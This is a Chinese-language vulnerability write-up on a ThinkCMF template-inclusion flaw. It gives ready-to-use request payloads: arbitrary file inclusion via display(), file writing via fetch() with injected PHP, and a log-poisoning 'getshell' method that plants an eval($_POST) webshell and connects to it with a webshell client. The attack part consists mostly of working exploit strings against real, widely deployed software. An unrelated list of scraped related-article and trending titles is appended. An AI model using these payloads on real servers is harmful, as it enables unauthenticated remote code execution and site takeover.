ThinkCMF框架任意内容包含漏洞
ThinkCMF简介
ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展
每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时是如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本
漏洞介绍
远程攻击者在无需任何权限情况下,通过构造特定的请求包即可在远程服务器上执行任意代码
影响版本
ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
环境搭建
https://wwi.lanzoui.com/iH9Hwpoen4f
将下载好的ThinkCMF解压后放在WWW目录下,然后浏览器访问即可看到安装页面
安装好之后访问页面为访问主页
漏洞分析
首先打开index.php文件,查看程序的项目路径,可以看到项目路径在application目录下
在项目路径下找到入口分组的控制器类选择IndexController 控制器类打开,可以知道继承了HomebaseController,通过gma参数指定分组模块方法,这里可以通过a参数直接调用PortalIndexController父类(HomebaseController)中的一些权限为public的方法
可以看的的public方法里就有display()、fetch(),还有方法作用及参数含义
display函数 (可以自定义加载模版,通过$this->parseTemplate 函数根据约定确定模版路径,如果不符合原先的约定将会从当前目录开始匹配) 的作用是加载模板和页面输出,所对应的参数为:templateFile为模板文件地址,charset模板字符集,contentType输出类型,content输出内容
templateFile参数会经过parseTemplate()方法处理
在application/Common/Controller/AdminbaseController.class.php的parseTemplate()方法如下
parseTemplate()方法作用:判断模板主题是否存在,当模板主题不存在时会在当前目录下开始查找,形成文件包含
构造的payload为 :index.php?a=display&templateFile=README.md
这里fetch函数的三个参数分别对应模板文件,输出内容,模板缓存前缀。利用时templateFile和prefix参数可以为空,在content参数传入待注入的php代码即可
漏洞复现
1.通过构造a参数的display()方法,实现任意内容包含漏洞
?a=display&templateFile=README.md
2.通过构造a参数的fetch()方法,在不需要知道文件路径的情况下就可以实现任意文件写入
?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('1.php','<?php phpinfo(); ?>')</php>
执行paylaod,如果页面是空白的,则说明可能写入成功
3.访问写入的文件1.php,发现成功写入文件
ThinkCMF缓存getshell
由于thinkcmf2.x使用了thinkphp3.x作为开发框架,默认情况下启用了报错日志并且开启了模板缓存,导致可以使用加载一个不存在的模板来将生成一句话的PHP代码写入data/runtime/Logs/Portal目录下的日志文件中,再次包含该日志文件即可在网站根目录下生成一句话木马m.php
有两种方式可以getshell
第一种方法
?a=display&templateFile=<?php file_put_contents('shell.php','<?php+eval($_POST["6666"]);?>');die();?>
发送请求,thinkphp生成的日志的格式为 年-月份-日期 (请求的日期)
http://domain/?a=display&templateFile=data/runtime/Logs/Portal/YY_MM_DD.log
可以看到已经成功创建了shell.php文件
然后使用菜刀链接
ThinkCMF框架任意内容包含漏洞相关推荐
- minify php,ThinkSNS public/minify.php 任意文件包含漏洞
## 漏洞信息: ThinkSNS开源微博系统,是智士的开源社交平台.采用PHP+MySQL技术平台,微博+应用的产品模式,同时拥有iphone.android客户端.wap.3G版界面. Think ...
- 任意文件包含漏洞(1)
目录 原理 分类 危害 包含的函数 本地文件包含 远程文件包含 利用方式 无文件包含方法 有文件包含方法 1.伪协议 1.data 2.php://input 3.zip://伪协议 首先要说明的一点 ...
- thinkphp日志泄漏漏洞_ThinkPHP框架任意代码执行漏洞的利用及其修复方法
ThinkPHP是国内著名的开源的PHP框架,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的.最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2 ...
- kesioncms (科讯cms) 6.x-8.x版本写入任意内容文件漏洞
发布时间:2013-04-08 关键词:kesioncms 漏洞 漏洞版本:kesioncms(科讯cms) 6.x - 8.x 漏洞简介:未对提交参数判断,导致可将任意内容的文件写入网站服务器 漏 ...
- php任意文件引入漏洞,PHP:ThinkCMFX任意文件包含漏洞
前言:最近爆出来的漏洞,ThinkCmfX版本应该是通杀的,基于3.X Thinkphp开发的 代码下载地址:https://gitee.com/thinkcmf/ThinkCMFX/releases ...
- ThinkCMF任意文件写入漏洞----学习记录
ThinkCMF框架任意文件写入漏洞 一.ThinkCMF介绍: ThinkCMF是一款基于ThinkPHP+MYSQL开发的中文内容管理框架.ThinkCMF提出灵活的应用机制,框架自身提供基础的管 ...
- php excel中解析显示html代码_骑士cms从任意文件包含到远程代码执行漏洞分析
前言 前些日子,骑士cms 官方公布了一个系统紧急风险漏洞升级通知:骑士cms 6.0.48存在一处任意文件包含漏洞,利用该漏洞对payload文件进行包含,即可造成远程代码执行漏洞.这篇文章将从漏洞 ...
- 《从0到1:CTFer成长之路》1.3 任意文件读取漏洞
文章目录 1.3.1 文件读取漏洞常见触发点 1.3.1.1 web语言 1. PHP 2.python 3.Java 4.Ruby 5.Node 1.3.1.2 中间件.服务件相关 1.Nginx错 ...
- mysql 多字节编码漏洞_phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
漏洞详情 范围 phpMyAdmin 4.8.0和4.8.1 原理 首先在index.php 50-63行代码 $target_blacklist = array ( 'import.php', 'e ...
最新文章
- 这只「蚂蚁」能拍照!普林斯顿造出微米级相机,个头缩小到50万分之一
- python的_thread模块来实现多线程(python核心编程例子)
- jquery ajax 删除数据,JQuery ajax 保存数据,删除数据
- RPM方式安装MySQL5.6和windows下安装mysql解压版
- FactoryBean 源码
- Pytorch中参数和模型的保存与读取
- Layer弹出层关闭后刷新父页面
- Tyvj P1029 牛棚回声
- Java中正则表达式提取字符串
- 实现视频播放器倍速、清晰度切换、m3u8下载功能
- 微软开放必应搜索引擎核心算法
- 【小家java】java8新特性(简述十大新特性) 饱受赞誉
- Java对接海康威视明眸门禁设备
- 诺基亚N9—刷机教程
- 使用three.js创建粒子火焰效果
- 移动硬盘插服务器上坏了,移动硬盘接口坏了怎么办解决教程
- python多项式拟合_python中的多元(多项式)最佳拟合曲线?
- java 根据拼音查询汉字_java根据拼音搜索,但数据库为汉字的解决方案
- pytorch 统计模型参数个数
- (完结)Unity游戏开发——新发教你做游戏(七):Animator控制角色动画播放
热门文章
- c语言李白喝酒答案,李白嗜酒文言文答案
- L1-054 福到了 (15分)(C语言)
- 小米电视android刷机,小米电视怎么刷机?小米电视刷第三方系统固件下载
- 32款网页设计和网页开发人员常用的Google chrome浏览器扩展程序
- Nvidia 视频处理框架----1. VideoProcessingFramework 介绍和安装
- win7u盘内容在计算机右侧,帮您恢复win7系统取消插入U盘后计算机窗口右侧显示U盘内容的技巧介绍...
- 基金基本信息列表 API 数据接口
- HDU - 相遇周期(gcd,lcm)
- vscode 设置自动换行
- 拥有一台服务器能干些什么呢